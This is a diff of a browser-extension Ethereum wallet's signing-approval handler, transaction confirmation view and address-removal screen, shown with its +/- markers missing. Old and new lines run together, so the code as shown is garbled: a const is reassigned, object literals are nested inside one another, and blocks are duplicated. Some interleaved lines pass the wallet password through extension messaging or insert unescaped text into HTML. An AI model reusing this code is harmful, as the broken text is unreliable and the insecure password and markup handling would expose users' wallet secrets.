const password = $("approve-sign-password").value;
|
||||
if (!password) {
|
||||
showError("approve-sign-error", "Please enter your password.");
|
||||
return;
|
||||
}
|
||||
hideError("approve-sign-error");
|
||||
setSignButtonBusy(true);
|
||||
$("btn-approve-sign").disabled = true;
|
||||
$("btn-approve-sign").classList.add("text-muted");
|
||||
|
||||
const active = findWalletFor(pendingSignFrom);
|
||||
if (!active) {
|
||||
password = null;
|
||||
showError(
|
||||
"approve-sign-error",
|
||||
"No wallet was found for the address this request was approved for.",
|
||||
);
|
||||
setSignButtonBusy(false);
|
||||
return;
|
||||
}
|
||||
|
||||
const defect = walletDefect(active.wallet);
|
||||
if (defect) {
|
||||
password = null;
|
||||
showError("approve-sign-error", defect.shortMessage);
|
||||
setSignButtonBusy(false);
|
||||
return;
|
||||
}
|
||||
|
||||
// Decrypt here, in the popup. The password must never cross the
|
||||
// extension messaging boundary; only the signature does.
|
||||
let decryptedSecret;
|
||||
try {
|
||||
decryptedSecret = await decryptWithPassword(
|
||||
active.wallet.encryptedSecret,
|
||||
password,
|
||||
);
|
||||
} catch {
|
||||
showError(
|
||||
"approve-sign-error",
|
||||
"That password is incorrect. Please try again.",
|
||||
);
|
||||
setSignButtonBusy(false);
|
||||
return;
|
||||
} finally {
|
||||
// Best-effort: drop the password as soon as the key derivation
|
||||
// is done. Note that JS strings are immutable; this clears the
|
||||
// reference but the original string may persist until GC.
|
||||
password = null;
|
||||
}
|
||||
|
||||
const payload = {
|
||||
runtime.sendMessage(
|
||||
{
|
||||
type: "AUTISTMASK_SIGN_RESPONSE",
|
||||
id: approvalId,
|
||||
approved: true,
|
||||
};
|
||||
try {
|
||||
const signer = getSignerForAddress(
|
||||
active.wallet,
|
||||
active.addrIndex,
|
||||
decryptedSecret,
|
||||
);
|
||||
const sp = pendingSignParams;
|
||||
if (sp.method === "personal_sign" || sp.method === "eth_sign") {
|
||||
payload.signature = await signer.signMessage(
|
||||
getBytes(sp.message),
|
||||
);
|
||||
} else {
|
||||
// eth_signTypedData_v4 / eth_signTypedData
|
||||
const typedData = JSON.parse(sp.typedData);
|
||||
const { domain, types, message } = typedData;
|
||||
// ethers handles EIP712Domain internally
|
||||
delete types.EIP712Domain;
|
||||
payload.signature = await signer.signTypedData(
|
||||
domain,
|
||||
types,
|
||||
message,
|
||||
);
|
||||
}
|
||||
} catch (e) {
|
||||
payload.error = e.shortMessage || e.message || "Signing failed.";
|
||||
} finally {
|
||||
// Best-effort: clear the decrypted secret after use, with the
|
||||
// same immutability caveat as the password above.
|
||||
decryptedSecret = null;
|
||||
}
|
||||
|
||||
let response = null;
|
||||
try {
|
||||
response = await sendMessage(payload);
|
||||
} catch {
|
||||
response = null;
|
||||
}
|
||||
|
||||
// TODO(security): Move decryption to popup to avoid sending password via runtime.sendMessage
|
||||
password: password,
|
||||
},
|
||||
(response) => {
|
||||
if (response && response.signature) {
|
||||
window.close();
|
||||
return;
|
||||
} else {
|
||||
const msg =
|
||||
(response && response.error) || "Signing failed.";
|
||||
showError("approve-sign-error", msg);
|
||||
$("btn-approve-sign").disabled = false;
|
||||
$("btn-approve-sign").classList.remove("text-muted");
|
||||
}
|
||||
// The button comes back only when the approval is still pending in
|
||||
// the background; otherwise it stays disabled and the message says
|
||||
// why, because a control that cannot succeed must not look like it
|
||||
// can.
|
||||
const outcome = describeSigningFailure(
|
||||
response,
|
||||
"The message could not be signed.",
|
||||
},
|
||||
);
|
||||
showError("approve-sign-error", outcome.message);
|
||||
if (outcome.retryable) setSignButtonBusy(false);
|
||||
});
|
||||
|
||||
$("btn-reject-sign").addEventListener("click", () => {
|
||||
notify({
|
||||
runtime.sendMessage({
|
||||
type: "AUTISTMASK_SIGN_RESPONSE",
|
||||
id: approvalId,
|
||||
approved: false,
|
||||
|
||||
@@ -1,72 +1,75 @@
|
||||
// Transaction confirmation view with inline password.
|
||||
// Shows transaction details, warnings, errors. On Sign & Send,
|
||||
// reads inline password, decrypts secret, signs and broadcasts.
|
||||
// Transaction confirmation view + password modal.
|
||||
// Shows transaction details, warnings, errors. On proceed, opens
|
||||
// password modal, decrypts secret, signs and broadcasts.
|
||||
|
||||
const { parseEther, parseUnits, formatEther, Contract } = require("ethers");
|
||||
const {
|
||||
parseEther,
|
||||
parseUnits,
|
||||
formatEther,
|
||||
formatUnits,
|
||||
Contract,
|
||||
} = require("ethers");
|
||||
const {
|
||||
$,
|
||||
showError,
|
||||
hideError,
|
||||
showView,
|
||||
showFlash,
|
||||
addressTitle,
|
||||
addressDotHtml,
|
||||
escapeHtml,
|
||||
displaySymbol,
|
||||
renderAddressHtml,
|
||||
attachCopyHandlers,
|
||||
goBack,
|
||||
onViewLeave,
|
||||
} = require("./helpers");
|
||||
const { state } = require("../../shared/state");
|
||||
const { getSignerForAddress } = require("../../shared/wallet");
|
||||
const { decryptWithPassword } = require("../../shared/vault");
|
||||
const { formatUsd, getPrice } = require("../../shared/prices");
|
||||
const { getProvider } = require("../../shared/balances");
|
||||
const {
|
||||
getLocalWarnings,
|
||||
getFullWarnings,
|
||||
} = require("../../shared/addressWarnings");
|
||||
const { ERC20_ABI, isBurnAddress } = require("../../shared/constants");
|
||||
const {
|
||||
displayedDecimals,
|
||||
transferAmountUnits,
|
||||
} = require("../../shared/transferAmount");
|
||||
const {
|
||||
CODES,
|
||||
FEE_PENDING,
|
||||
FEE_KNOWN,
|
||||
FEE_UNAVAILABLE,
|
||||
feeReserveWei,
|
||||
feeEstimateWei,
|
||||
validateTransfer,
|
||||
} = require("../../shared/txValidation");
|
||||
const { isScamAddress } = require("../../shared/scamlist");
|
||||
const { ERC20_ABI } = require("../../shared/constants");
|
||||
const { log } = require("../../shared/log");
|
||||
const makeBlockie = require("ethereum-blockies-base64");
|
||||
const txStatus = require("./txStatus");
|
||||
|
||||
let pendingTx = null;
|
||||
// Network fee for the transaction currently on screen. Reset by show() and
|
||||
// filled in by estimateGas() when the estimate resolves or fails.
|
||||
let feeStatus = FEE_PENDING;
|
||||
let feeWei = null;
|
||||
const EXT_ICON =
|
||||
`<span style="display:inline-block;width:10px;height:10px;margin-left:4px;vertical-align:middle">` +
|
||||
`<svg viewBox="0 0 12 12" fill="none" stroke="currentColor" stroke-width="1.5">` +
|
||||
`<path d="M4.5 1.5H2a.5.5 0 00-.5.5v8a.5.5 0 00.5.5h8a.5.5 0 00.5-.5V7.5"/>` +
|
||||
`<path d="M7 1.5h3.5V5M7 5.5L10.5 1.5"/>` +
|
||||
`</svg></span>`;
|
||||
|
||||
function restore() {
|
||||
const d = state.viewData;
|
||||
if (d && d.pendingTx) {
|
||||
show(d.pendingTx);
|
||||
let pendingTx = null;
|
||||
|
||||
function etherscanTokenLink(address) {
|
||||
return `https://etherscan.io/token/${address}`;
|
||||
}
|
||||
|
||||
function etherscanAddressLink(address) {
|
||||
return `https://etherscan.io/address/${address}`;
|
||||
}
|
||||
|
||||
function blockieHtml(address) {
|
||||
const src = makeBlockie(address);
|
||||
return `<img src="${escapeHtml(src)}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
|
||||
return `<img src="${src}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
|
||||
}
|
||||
|
||||
function confirmAddressHtml(address, ensName, title) {
|
||||
const blockie = blockieHtml(address);
|
||||
return (
|
||||
`<div class="mb-1">${blockie}</div>` +
|
||||
renderAddressHtml(address, { title, ensName })
|
||||
);
|
||||
const dot = addressDotHtml(address);
|
||||
const link = etherscanAddressLink(address);
|
||||
const extLink = `<a href="${link}" target="_blank" rel="noopener" class="inline-flex items-center">${EXT_ICON}</a>`;
|
||||
let html = `<div class="mb-1">${blockie}</div>`;
|
||||
if (title) {
|
||||
html += `<div class="flex items-center font-bold">${dot}${escapeHtml(title)}</div>`;
|
||||
}
|
||||
if (ensName) {
|
||||
html += `<div class="flex items-center font-bold">${title ? "" : dot}${escapeHtml(ensName)}</div>`;
|
||||
}
|
||||
html +=
|
||||
`<div class="flex items-center">${title || ensName ? "" : dot}` +
|
||||
`<span class="break-all">${escapeHtml(address)}</span>` +
|
||||
extLink +
|
||||
`</div>`;
|
||||
return html;
|
||||
}
|
||||
|
||||
function valueWithUsd(text, usdAmount) {
|
||||
@@ -78,15 +81,9 @@ function valueWithUsd(text, usdAmount) {
|
||||
|
||||
function show(txInfo) {
|
||||
pendingTx = txInfo;
|
||||
feeStatus = FEE_PENDING;
|
||||
feeWei = null;
|
||||
|
||||
const isErc20 = txInfo.token !== "ETH";
|
||||
// The raw symbol is the price-table key; the capped one is what the
|
||||
// screen says. Truncating before the lookup would silently drop the
|
||||
// price of any token whose symbol is long enough to be capped.
|
||||
const rawSymbol = isErc20 ? txInfo.tokenSymbol || "?" : "ETH";
|
||||
const symbol = displaySymbol(rawSymbol);
|
||||
const symbol = isErc20 ? txInfo.tokenSymbol || "?" : "ETH";
|
||||
|
||||
// Transaction type
|
||||
if (isErc20) {
|
||||
@@ -99,12 +96,22 @@ function show(txInfo) {
|
||||
// Token contract section (ERC-20 only)
|
||||
const tokenSection = $("confirm-token-section");
|
||||
if (isErc20) {
|
||||
$("confirm-token-contract").innerHTML = renderAddressHtml(
|
||||
txInfo.token,
|
||||
{},
|
||||
);
|
||||
const dot = addressDotHtml(txInfo.token);
|
||||
const link = etherscanTokenLink(txInfo.token);
|
||||
$("confirm-token-contract").innerHTML =
|
||||
`<div class="flex items-center">${dot}` +
|
||||
`<span class="break-all underline decoration-dashed cursor-pointer" data-copy="${escapeHtml(txInfo.token)}">${escapeHtml(txInfo.token)}</span>` +
|
||||
`<a href="${link}" target="_blank" rel="noopener" class="inline-flex items-center">${EXT_ICON}</a>` +
|
||||
`</div>`;
|
||||
tokenSection.classList.remove("hidden");
|
||||
attachCopyHandlers(tokenSection);
|
||||
// Attach click-to-copy on the contract address
|
||||
const copyEl = tokenSection.querySelector("[data-copy]");
|
||||
if (copyEl) {
|
||||
copyEl.onclick = () => {
|
||||
navigator.clipboard.writeText(copyEl.dataset.copy);
|
||||
showFlash("Copied!");
|
||||
};
|
||||
}
|
||||
} else {
|
||||
tokenSection.classList.add("hidden");
|
||||
}
|
||||
@@ -128,7 +135,7 @@ function show(txInfo) {
|
||||
|
||||
// Amount (with inline USD)
|
||||
const ethPrice = getPrice("ETH");
|
||||
const tokenPrice = getPrice(rawSymbol);
|
||||
const tokenPrice = getPrice(symbol);
|
||||
const amountNum = parseFloat(txInfo.amount);
|
||||
const price = isErc20 ? tokenPrice : ethPrice;
|
||||
const amountUsd = price ? amountNum * price : null;
|
||||
@@ -139,113 +146,49 @@ function show(txInfo) {
|
||||
|
||||
// Balance (with inline USD)
|
||||
if (isErc20) {
|
||||
// null is a balance whose scale nothing knows, not a balance of zero
|
||||
// (https://git.eeqj.de/sneak/AutistMask/issues/349). The send is
|
||||
// refused at encode time for the same missing scale; what this line
|
||||
// must not do is state a quantity nobody established.
|
||||
const bal = txInfo.tokenBalance;
|
||||
const balUsd =
|
||||
tokenPrice && bal != null ? parseFloat(bal) * tokenPrice : null;
|
||||
$("confirm-balance").textContent =
|
||||
bal == null
|
||||
? "unknown (" + symbol + ")"
|
||||
: valueWithUsd(bal + " " + symbol, balUsd);
|
||||
const bal = txInfo.tokenBalance || "0";
|
||||
const balUsd = tokenPrice ? parseFloat(bal) * tokenPrice : null;
|
||||
$("confirm-balance").textContent = valueWithUsd(
|
||||
bal + " " + symbol,
|
||||
balUsd,
|
||||
);
|
||||
} else {
|
||||
const bal = txInfo.balance || "0";
|
||||
const balUsd = ethPrice ? parseFloat(bal) * ethPrice : null;
|
||||
$("confirm-balance").textContent = valueWithUsd(bal + " ETH", balUsd);
|
||||
}
|
||||
|
||||
// Check for warnings (synchronous local checks)
|
||||
const localWarnings = getLocalWarnings(txInfo.to, {
|
||||
fromAddress: txInfo.from,
|
||||
});
|
||||
// Check for warnings
|
||||
const warnings = [];
|
||||
if (isScamAddress(txInfo.to)) {
|
||||
warnings.push(
|
||||
"This address is on a known scam/fraud list. Do not send funds to this address.",
|
||||
);
|
||||
}
|
||||
if (txInfo.to.toLowerCase() === txInfo.from.toLowerCase()) {
|
||||
warnings.push("You are sending to your own address.");
|
||||
}
|
||||
|
||||
const warningsEl = $("confirm-warnings");
|
||||
if (localWarnings.length > 0) {
|
||||
warningsEl.innerHTML = localWarnings
|
||||
if (warnings.length > 0) {
|
||||
warningsEl.innerHTML = warnings
|
||||
.map(
|
||||
(w) =>
|
||||
// Only the three hardcoded strings in
|
||||
// src/shared/addressWarnings.js reach this today, but
|
||||
// src/shared/etherscanLabels.js already builds a
|
||||
// `warning` out of scraped explorer markup, so this is
|
||||
// one wiring change away from carrying remote text.
|
||||
`<div class="border border-border border-dashed p-2 mb-1 text-xs font-bold">WARNING: ${escapeHtml(w.message)}</div>`,
|
||||
`<div class="border border-border border-dashed p-2 mb-1 text-xs font-bold">WARNING: ${w}</div>`,
|
||||
)
|
||||
.join("");
|
||||
warningsEl.style.visibility = "visible";
|
||||
warningsEl.classList.remove("hidden");
|
||||
} else {
|
||||
warningsEl.innerHTML = "";
|
||||
warningsEl.style.visibility = "hidden";
|
||||
warningsEl.classList.add("hidden");
|
||||
}
|
||||
|
||||
// The two fee messages are mutually exclusive per transaction type, and
|
||||
// the type is known here, before the first paint. Drop the one that can
|
||||
// never apply and reserve the space of the one that can, so the async
|
||||
// estimate landing later never moves anything.
|
||||
$("confirm-amount-fee-error").classList.toggle("hidden", isErc20);
|
||||
$("confirm-gas-error").classList.toggle("hidden", !isErc20);
|
||||
|
||||
renderValidation(txInfo);
|
||||
|
||||
// Reset password field and error
|
||||
$("confirm-tx-password").value = "";
|
||||
hideError("confirm-tx-password-error");
|
||||
|
||||
// Gas estimate — show placeholder then fetch async
|
||||
$("confirm-fee").style.visibility = "visible";
|
||||
$("confirm-fee-amount").textContent = "Estimating...";
|
||||
setVisible("confirm-fee-reserve", false);
|
||||
state.viewData = { pendingTx: txInfo };
|
||||
showView("confirm-tx");
|
||||
attachCopyHandlers("view-confirm-tx");
|
||||
|
||||
// Reset async warnings to hidden (space always reserved, no layout shift)
|
||||
$("confirm-recipient-warning").style.visibility = "hidden";
|
||||
$("confirm-contract-warning").style.visibility = "hidden";
|
||||
$("confirm-burn-warning").style.visibility = "hidden";
|
||||
$("confirm-etherscan-warning").style.visibility = "hidden";
|
||||
|
||||
// Show burn warning via reserved element (in addition to inline warning)
|
||||
if (isBurnAddress(txInfo.to)) {
|
||||
$("confirm-burn-warning").style.visibility = "visible";
|
||||
}
|
||||
|
||||
estimateGas(txInfo);
|
||||
checkRecipientHistory(txInfo);
|
||||
}
|
||||
|
||||
// Render the balance check for the transaction on screen. Called once during
|
||||
// show() and again when the fee estimate resolves or fails. Every element it
|
||||
// touches already occupies its space, so re-running it never moves anything.
|
||||
function renderValidation(txInfo) {
|
||||
const isErc20 = txInfo.token !== "ETH";
|
||||
const symbol = isErc20 ? displaySymbol(txInfo.tokenSymbol || "?") : "ETH";
|
||||
|
||||
const { canSend, codes } = validateTransfer({
|
||||
isErc20,
|
||||
amount: txInfo.amount,
|
||||
ethBalance: txInfo.balance,
|
||||
tokenBalance: txInfo.tokenBalance,
|
||||
feeStatus,
|
||||
feeWei,
|
||||
});
|
||||
|
||||
// Messages carrying the user's own numbers are built here; the fixed
|
||||
// sentences live in the reserved elements in index.html.
|
||||
const messages = [];
|
||||
if (codes.includes(CODES.AMOUNT_INVALID)) {
|
||||
messages.push("Please enter a valid amount to send.");
|
||||
}
|
||||
if (codes.includes(CODES.INSUFFICIENT_TOKEN)) {
|
||||
messages.push(
|
||||
txInfo.tokenBalance == null
|
||||
? "This token's balance is unknown, because nothing this" +
|
||||
" wallet can consult reports how many decimal places it" +
|
||||
" uses, so the amount you are trying to send cannot be" +
|
||||
" checked against it."
|
||||
: "Insufficient " +
|
||||
// Check for errors
|
||||
const errors = [];
|
||||
if (isErc20) {
|
||||
const tokenBal = parseFloat(txInfo.tokenBalance || "0");
|
||||
if (parseFloat(txInfo.amount) > tokenBal) {
|
||||
errors.push(
|
||||
"Insufficient " +
|
||||
symbol +
|
||||
" balance. You have " +
|
||||
txInfo.tokenBalance +
|
||||
@@ -258,8 +201,8 @@ function renderValidation(txInfo) {
|
||||
".",
|
||||
);
|
||||
}
|
||||
if (codes.includes(CODES.INSUFFICIENT_ETH)) {
|
||||
messages.push(
|
||||
} else if (parseFloat(txInfo.amount) > parseFloat(txInfo.balance)) {
|
||||
errors.push(
|
||||
"Insufficient balance. You have " +
|
||||
txInfo.balance +
|
||||
" ETH but are trying to send " +
|
||||
@@ -269,53 +212,33 @@ function renderValidation(txInfo) {
|
||||
}
|
||||
|
||||
const errorsEl = $("confirm-errors");
|
||||
if (messages.length > 0) {
|
||||
errorsEl.innerHTML = messages
|
||||
.map((m) => `<div class="text-xs">${escapeHtml(m)}</div>`)
|
||||
.join("");
|
||||
errorsEl.style.visibility = "visible";
|
||||
} else {
|
||||
errorsEl.innerHTML = "";
|
||||
errorsEl.style.visibility = "hidden";
|
||||
}
|
||||
|
||||
setVisible(
|
||||
"confirm-amount-fee-error",
|
||||
codes.includes(CODES.INSUFFICIENT_ETH_WITH_FEE),
|
||||
);
|
||||
setVisible(
|
||||
"confirm-gas-error",
|
||||
codes.includes(CODES.INSUFFICIENT_ETH_FOR_FEE),
|
||||
);
|
||||
setVisible(
|
||||
"confirm-fee-unknown-error",
|
||||
codes.includes(CODES.FEE_UNAVAILABLE),
|
||||
);
|
||||
|
||||
// While the estimate is in flight there is no error to show — the fee
|
||||
// line already reads "Estimating..." — but sending stays blocked so a
|
||||
// transaction the fee would break cannot be signed in the meantime.
|
||||
const sendBtn = $("btn-confirm-send");
|
||||
sendBtn.disabled = !canSend;
|
||||
sendBtn.classList.toggle("text-muted", !canSend);
|
||||
if (errors.length > 0) {
|
||||
errorsEl.innerHTML = errors
|
||||
.map((e) => `<div class="text-xs">${e}</div>`)
|
||||
.join("");
|
||||
errorsEl.classList.remove("hidden");
|
||||
sendBtn.disabled = true;
|
||||
sendBtn.classList.add("text-muted");
|
||||
} else {
|
||||
errorsEl.classList.add("hidden");
|
||||
sendBtn.disabled = false;
|
||||
sendBtn.classList.remove("text-muted");
|
||||
}
|
||||
|
||||
function setVisible(id, visible) {
|
||||
$(id).style.visibility = visible ? "visible" : "hidden";
|
||||
}
|
||||
// Gas estimate — show placeholder then fetch async
|
||||
$("confirm-fee").classList.remove("hidden");
|
||||
$("confirm-fee-amount").textContent = "Estimating...";
|
||||
showView("confirm-tx");
|
||||
|
||||
// A fee in wei as an ETH string, truncated to 6 decimal places.
|
||||
function formatFeeEth(wei) {
|
||||
const parts = formatEther(wei).split(".");
|
||||
const dec =
|
||||
parts.length > 1 ? parts[1].slice(0, 6).replace(/0+$/, "") || "0" : "0";
|
||||
return parts[0] + "." + dec + " ETH";
|
||||
estimateGas(txInfo);
|
||||
}
|
||||
|
||||
async function estimateGas(txInfo) {
|
||||
try {
|
||||
const provider = getProvider(state.rpcUrl, state.networkId);
|
||||
const provider = getProvider(state.rpcUrl);
|
||||
const feeData = await provider.getFeeData();
|
||||
const gasPrice = feeData.gasPrice;
|
||||
let gasLimit;
|
||||
|
||||
if (txInfo.token === "ETH") {
|
||||
@@ -326,136 +249,76 @@ async function estimateGas(txInfo) {
|
||||
});
|
||||
} else {
|
||||
const contract = new Contract(txInfo.token, ERC20_ABI, provider);
|
||||
// The scale the screen is rendering with, not the contract's own
|
||||
// answer: the estimate has to be for the transfer that would be
|
||||
// signed, and that one is encoded from what was displayed. See
|
||||
// transferAmount.js. A pending transaction that carries no usable
|
||||
// scale throws here, which reports the fee as unknown and leaves
|
||||
// Send blocked — an amount that cannot be checked against the
|
||||
// screen is never estimated for, let alone sent.
|
||||
const amount = parseUnits(
|
||||
txInfo.amount,
|
||||
displayedDecimals(txInfo.tokenDecimals),
|
||||
);
|
||||
const decimals = await contract.decimals();
|
||||
const amount = parseUnits(txInfo.amount, decimals);
|
||||
gasLimit = await contract.transfer.estimateGas(txInfo.to, amount, {
|
||||
from: txInfo.from,
|
||||
});
|
||||
}
|
||||
|
||||
// What the node will require to be reserved, which is what the gate
|
||||
// must be: the send pins no fee fields, so it is broadcast as a
|
||||
// type-2 transaction priced at maxFeePerGas.
|
||||
const gasCostWei = feeReserveWei(gasLimit, feeData);
|
||||
if (gasCostWei === null) {
|
||||
throw new Error("no usable gas price from the provider");
|
||||
}
|
||||
// What the transaction is expected to cost, which is a different and
|
||||
// usually much smaller number. Both are shown: quoting only the
|
||||
// reserve overstates the typical cost by roughly double on mainnet,
|
||||
// and quoting only the estimate contradicts the balance check.
|
||||
const estimateWei = feeEstimateWei(gasLimit, feeData);
|
||||
// The user may have left this transaction while the estimate was in
|
||||
// flight; a stale fee must not reach the screen or the balance check.
|
||||
if (pendingTx !== txInfo) return;
|
||||
|
||||
const gasCostWei = gasLimit * gasPrice;
|
||||
const gasCostEth = formatEther(gasCostWei);
|
||||
// Format to 6 significant decimal places
|
||||
const parts = gasCostEth.split(".");
|
||||
const dec =
|
||||
parts.length > 1
|
||||
? parts[1].slice(0, 6).replace(/0+$/, "") || "0"
|
||||
: "0";
|
||||
const feeStr = parts[0] + "." + dec + " ETH";
|
||||
const ethPrice = getPrice("ETH");
|
||||
const usd = (wei) =>
|
||||
ethPrice ? parseFloat(formatEther(wei)) * ethPrice : null;
|
||||
|
||||
if (estimateWei !== null && estimateWei < gasCostWei) {
|
||||
$("confirm-fee-amount").textContent = valueWithUsd(
|
||||
"~" + formatFeeEth(estimateWei),
|
||||
usd(estimateWei),
|
||||
);
|
||||
$("confirm-fee-reserve").textContent =
|
||||
"up to " + formatFeeEth(gasCostWei) + " reserved";
|
||||
setVisible("confirm-fee-reserve", true);
|
||||
} else {
|
||||
// No spread to report: either there is no estimate, or the node
|
||||
// quotes a gas price at or above maxFeePerGas, so the expected
|
||||
// cost is not below the reserve. Show the reserve alone.
|
||||
$("confirm-fee-amount").textContent = valueWithUsd(
|
||||
formatFeeEth(gasCostWei),
|
||||
usd(gasCostWei),
|
||||
);
|
||||
setVisible("confirm-fee-reserve", false);
|
||||
}
|
||||
feeStatus = FEE_KNOWN;
|
||||
feeWei = gasCostWei;
|
||||
renderValidation(txInfo);
|
||||
const feeUsd = ethPrice ? parseFloat(gasCostEth) * ethPrice : null;
|
||||
$("confirm-fee-amount").textContent = valueWithUsd(feeStr, feeUsd);
|
||||
} catch (e) {
|
||||
log.errorf("gas estimation failed:", e.message);
|
||||
if (pendingTx !== txInfo) return;
|
||||
$("confirm-fee-amount").textContent = "Unable to estimate";
|
||||
setVisible("confirm-fee-reserve", false);
|
||||
feeStatus = FEE_UNAVAILABLE;
|
||||
feeWei = null;
|
||||
renderValidation(txInfo);
|
||||
}
|
||||
}
|
||||
|
||||
async function checkRecipientHistory(txInfo) {
|
||||
try {
|
||||
const provider = getProvider(state.rpcUrl, state.networkId);
|
||||
const asyncWarnings = await getFullWarnings(txInfo.to, provider, {
|
||||
fromAddress: txInfo.from,
|
||||
function showPasswordModal() {
|
||||
$("modal-password").value = "";
|
||||
hideError("modal-password-error");
|
||||
$("password-modal").classList.remove("hidden");
|
||||
}
|
||||
|
||||
function hidePasswordModal() {
|
||||
$("password-modal").classList.add("hidden");
|
||||
}
|
||||
|
||||
function init(ctx) {
|
||||
$("btn-confirm-send").addEventListener("click", () => {
|
||||
showPasswordModal();
|
||||
});
|
||||
for (const w of asyncWarnings) {
|
||||
if (w.type === "contract") {
|
||||
$("confirm-contract-warning").style.visibility = "visible";
|
||||
}
|
||||
if (w.type === "new-address") {
|
||||
$("confirm-recipient-warning").style.visibility = "visible";
|
||||
}
|
||||
if (w.type === "etherscan-phishing") {
|
||||
$("confirm-etherscan-warning").style.visibility = "visible";
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
log.errorf("recipient history check failed:", e.message);
|
||||
}
|
||||
}
|
||||
|
||||
// Drop the password from the DOM. Registered as the view-leave handler so
|
||||
// it does not sit in the hidden view once the screen navigates on — to the
|
||||
// wait screen after a send, or anywhere else the user goes.
|
||||
function clearPassword() {
|
||||
$("confirm-tx-password").value = "";
|
||||
hideError("confirm-tx-password-error");
|
||||
}
|
||||
$("btn-confirm-back").addEventListener("click", () => {
|
||||
showView("send");
|
||||
});
|
||||
|
||||
function init(_ctx) {
|
||||
onViewLeave("confirm-tx", clearPassword);
|
||||
$("btn-modal-cancel").addEventListener("click", () => {
|
||||
hidePasswordModal();
|
||||
});
|
||||
|
||||
$("btn-confirm-send").addEventListener("click", async () => {
|
||||
const password = $("confirm-tx-password").value;
|
||||
$("btn-modal-confirm").addEventListener("click", async () => {
|
||||
const password = $("modal-password").value;
|
||||
if (!password) {
|
||||
showError(
|
||||
"confirm-tx-password-error",
|
||||
"Please enter your password.",
|
||||
);
|
||||
showError("modal-password-error", "Please enter your password.");
|
||||
return;
|
||||
}
|
||||
|
||||
const wallet = state.wallets[state.selectedWallet];
|
||||
let decryptedSecret;
|
||||
hideError("confirm-tx-password-error");
|
||||
hideError("modal-password-error");
|
||||
|
||||
try {
|
||||
decryptedSecret = await decryptWithPassword(
|
||||
wallet.encryptedSecret,
|
||||
password,
|
||||
);
|
||||
} catch {
|
||||
showError(
|
||||
"confirm-tx-password-error",
|
||||
"That password is incorrect. Please try again.",
|
||||
);
|
||||
} catch (e) {
|
||||
showError("modal-password-error", "Wrong password.");
|
||||
return;
|
||||
}
|
||||
|
||||
$("btn-confirm-send").disabled = true;
|
||||
$("btn-confirm-send").classList.add("text-muted");
|
||||
hidePasswordModal();
|
||||
|
||||
let tx;
|
||||
try {
|
||||
@@ -464,7 +327,7 @@ function init(_ctx) {
|
||||
state.selectedAddress,
|
||||
decryptedSecret,
|
||||
);
|
||||
const provider = getProvider(state.rpcUrl, state.networkId);
|
||||
const provider = getProvider(state.rpcUrl);
|
||||
const connectedSigner = signer.connect(provider);
|
||||
|
||||
if (pendingTx.token === "ETH") {
|
||||
@@ -478,16 +341,8 @@ function init(_ctx) {
|
||||
ERC20_ABI,
|
||||
connectedSigner,
|
||||
);
|
||||
// The contract's decimals() is read to be COMPARED with the
|
||||
// scale the screen rendered this amount at, not to encode with:
|
||||
// encoding from it signs whatever the contract answers now,
|
||||
// which is not what the user read. A disagreement throws and is
|
||||
// reported on the error screen. See transferAmount.js.
|
||||
const amount = transferAmountUnits(
|
||||
pendingTx.amount,
|
||||
pendingTx.tokenDecimals,
|
||||
await contract.decimals(),
|
||||
);
|
||||
const decimals = await contract.decimals();
|
||||
const amount = parseUnits(pendingTx.amount, decimals);
|
||||
tx = await contract.transfer(pendingTx.to, amount);
|
||||
}
|
||||
|
||||
@@ -500,15 +355,8 @@ function init(_ctx) {
|
||||
decryptedSecret = null;
|
||||
const hash = tx ? tx.hash : null;
|
||||
txStatus.showError(pendingTx, hash, e.shortMessage || e.message);
|
||||
} finally {
|
||||
$("btn-confirm-send").disabled = false;
|
||||
$("btn-confirm-send").classList.remove("text-muted");
|
||||
}
|
||||
});
|
||||
|
||||
$("btn-confirm-back").addEventListener("click", () => {
|
||||
goBack();
|
||||
});
|
||||
}
|
||||
|
||||
module.exports = { init, show, restore };
|
||||
module.exports = { init, show };
|
||||
|
||||
@@ -1,176 +0,0 @@
|
||||
// Confirmation screen for removing one address from a wallet that derives
|
||||
// its addresses from an extended key.
|
||||
//
|
||||
// No password is asked for, unlike delete-wallet. A password gates the
|
||||
// disclosure or destruction of a secret, and this does neither: the address
|
||||
// is derived from key material the wallet still holds, so removing it only
|
||||
// stops the wallet tracking it. An explicit confirmation screen is the
|
||||
// proportionate treatment.
|
||||
|
||||
const {
|
||||
$,
|
||||
showView,
|
||||
showFlash,
|
||||
escapeHtml,
|
||||
goBack,
|
||||
renderAddressHtml,
|
||||
attachCopyHandlers,
|
||||
addressHoldsFunds,
|
||||
balanceLinesForAddress,
|
||||
} = require("./helpers");
|
||||
const { formatAddressTotal, getAddressValue } = require("../../shared/prices");
|
||||
const { walletHasRecoveryPhrase } = require("../../shared/wallet");
|
||||
const { state, saveState } = require("../../shared/state");
|
||||
const {
|
||||
canRemoveAddress,
|
||||
removeAddressFromState,
|
||||
broadcastActiveChanged,
|
||||
} = require("../../shared/walletDelete");
|
||||
|
||||
// The wallet and address indices this screen is confirming, or null when it
|
||||
// is not confirming anything.
|
||||
let target = null;
|
||||
let ctx = null;
|
||||
|
||||
function setFlash(msg) {
|
||||
const el = $("delete-address-flash");
|
||||
el.textContent = msg;
|
||||
el.style.visibility = msg ? "visible" : "hidden";
|
||||
}
|
||||
|
||||
// What it actually takes to get the address back, which is not what the
|
||||
// screen used to claim.
|
||||
//
|
||||
// Neither obvious route works: "+" derives the next unused index, because
|
||||
// wallet.nextIndex is a high-water mark and is deliberately not rewound; and
|
||||
// re-importing this wallet's key material is refused as a duplicate by
|
||||
// findWalletByXpub() for as long as the wallet is here. What remains is to
|
||||
// delete the whole wallet in Settings — which destroys the stored secret,
|
||||
// with or without the password — and import again, after which
|
||||
// scanForAddresses() rediscovers the address only if it has on-chain
|
||||
// activity. An address that was never used is not found by that scan, and
|
||||
// the copy must not imply otherwise.
|
||||
//
|
||||
// The noun follows the wallet: an xprv wallet holds no recovery phrase, and
|
||||
// this screen is offered on xprv wallets too.
|
||||
function recoveryPathText(wallet) {
|
||||
const secret = walletHasRecoveryPhrase(wallet)
|
||||
? "recovery phrase"
|
||||
: "extended private key";
|
||||
return (
|
||||
"Getting the address back into this list is not easy, so be sure. " +
|
||||
"Adding an address derives the next unused one, not this one, and " +
|
||||
"importing this " +
|
||||
secret +
|
||||
" again is refused while this wallet is still here. The way back is " +
|
||||
"to delete the whole wallet in Settings, which destroys the stored " +
|
||||
secret +
|
||||
", and then import that " +
|
||||
